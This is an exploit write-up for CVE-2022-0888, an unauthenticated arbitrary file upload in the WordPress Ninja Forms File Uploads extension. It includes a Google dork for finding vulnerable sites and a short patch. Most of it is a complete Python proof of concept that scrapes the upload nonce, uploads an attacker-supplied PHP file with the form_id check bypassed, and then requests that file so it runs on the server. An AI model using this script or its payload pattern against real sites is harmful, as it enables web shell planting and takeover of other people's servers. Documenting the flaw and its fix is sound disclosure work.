WordPress Plugin Ninja Forms - File Uploads Extension >= 3.3.0 - Unauthenticated Arbitrary File Upload
Exploit Title | WordPress Plugin Ninja Forms - File Uploads Extension >= 3.3.0 - Unauthenticated Arbitrary File Upload |
Exploit Author | Muhammad Zeeshan (Xib3rR4dAr) |
Plugin Link | Ninja-File-Uploads, Ninja-Forms |
Version | 3.3.0 |
Tested on | Wordpress 5.9.1 |
Vulnerable Endpoint | /wp-admin/admin-ajax.php?action=nf_fu_upload |
Vulnerable File | /wp-content/plugins/ninja-forms-uploads/includes/ajax/controllers/uploads.php |
Google Dork | inurl:/wp-content/plugins/ninja-forms-uploads |
CVE | CVE-2022-0888 |
Description
ninja-forms-uploads
extension version >=3.3.0 of ninja-forms
>=3.6.7 was found vulnerable to arbitrary file upload vulnerability. File extension check was present which can be bypassed if form_id
parameter is removed from file upload request.
Vulnerable Plugin
ninja-forms
' extensoin ninja-forms-uploads
version >=3.3.0
Vulnerable Code
If form_id
parameter is not set, _validate method in ninja-forms-uploads/includes/ajax/controllers/uploads.php
returns true which bypasses file extension being checked.
PoC:
import requests, re, json, urllib.parse
wp_domain = input("\nEnter domain name: : ")
wp_form_url = input("Enter URI of page with file upload form : ")
payload = input('Payload : ')
full_wp_form_url = wp_domain + wp_form_url
proxies = {
# Uncomment following line to use proxy
# "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"
}
wp_session = requests.session()
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15"}
wp = wp_session.get(full_wp_form_url, headers=headers, proxies=proxies, verify=False)
wp_nonce = re.search(r'uploadNonce":"(.*?)","uploadNonceExpiry', wp.text).group(1)
ajax_url = wp_domain+"/wp-admin/admin-ajax.php?action=nf_fu_upload"
req_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary3K3AsbTze13seUkb", "Origin": f"{wp_domain}", "Referer": f"{full_wp_form_url}", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
exploit_body = f"------WebKitFormBoundary3K3AsbTze13seUkb\r\nContent-Disposition: form-data; name=\"form_ids\"\r\n\r\n2\r\n------WebKitFormBoundary3K3AsbTze13seUkb\r\nContent-Disposition: form-data; name=\"field_id\"\r\n\r\n11\r\n------WebKitFormBoundary3K3AsbTze13seUkb\r\nContent-Disposition: form-data; name=\"nonce\"\r\n\r\n{wp_nonce}\r\n------WebKitFormBoundary3K3AsbTze13seUkb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"pt.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n{payload}\r\n------WebKitFormBoundary3K3AsbTze13seUkb--\r\n"
# Uncomment following two lines if nonce error occurs
#req_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15", "Accept-Encoding": "gzip, deflate", "Accept": "application/json, text/javascript, */*; q=0.01", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryDgckL57HDDGn99R7", "Origin": f"{wp_domain}", "Sec-Fetch-Site": "cross-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": f"{full_wp_form_url}", "Accept-Language": "en-US,en;q=0.9"}
#exploit_body = f"------WebKitFormBoundaryDgckL57HDDGn99R7\r\nContent-Disposition: form-data; name=\"form_ids\"\r\n\r\n3\r\n------WebKitFormBoundaryDgckL57HDDGn99R7\r\nContent-Disposition: form-data; name=\"field_id\"\r\n\r\n44\r\n------WebKitFormBoundaryDgckL57HDDGn99R7\r\nContent-Disposition: form-data; name=\"nonce\"\r\n\r\n{wp_nonce}\r\n------WebKitFormBoundaryDgckL57HDDGn99R7\r\nContent-Disposition: form-data; name=\"files\"; filename=\"pt.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n{payload}\r\n------WebKitFormBoundaryDgckL57HDDGn99R7--\r\n"
print(f'\nSending exploit payload: {payload}')
e_resp = wp_session.post(ajax_url, headers=req_headers, data=exploit_body, proxies=proxies , verify=False)
data = e_resp.json()
payload_url = wp_domain + '/wp-content/uploads/ninja-forms/tmp/' + data['data']['files'][0]['tmp_name']
print("\nResponse: \n" + json.dumps(data, sort_keys=True, indent=4))
print(f'\nPayload contents uploaded at: {payload_url}')
payload_resp = wp_session.get(payload_url, headers=headers, proxies=proxies, verify=False)
print(f'\nResponse: {payload_resp.text}')
Fix
Update plugin to latest version OR in ninja-forms-uploads/includes/ajax/controllers/uploads.php
search for method handle_upload
and add following in it:
if ( empty( $_POST['form_id'] ) ) {
$this->_errors[] = __( 'No form ID supplied', 'ninja-forms-uploads' );
$this->_respond();
}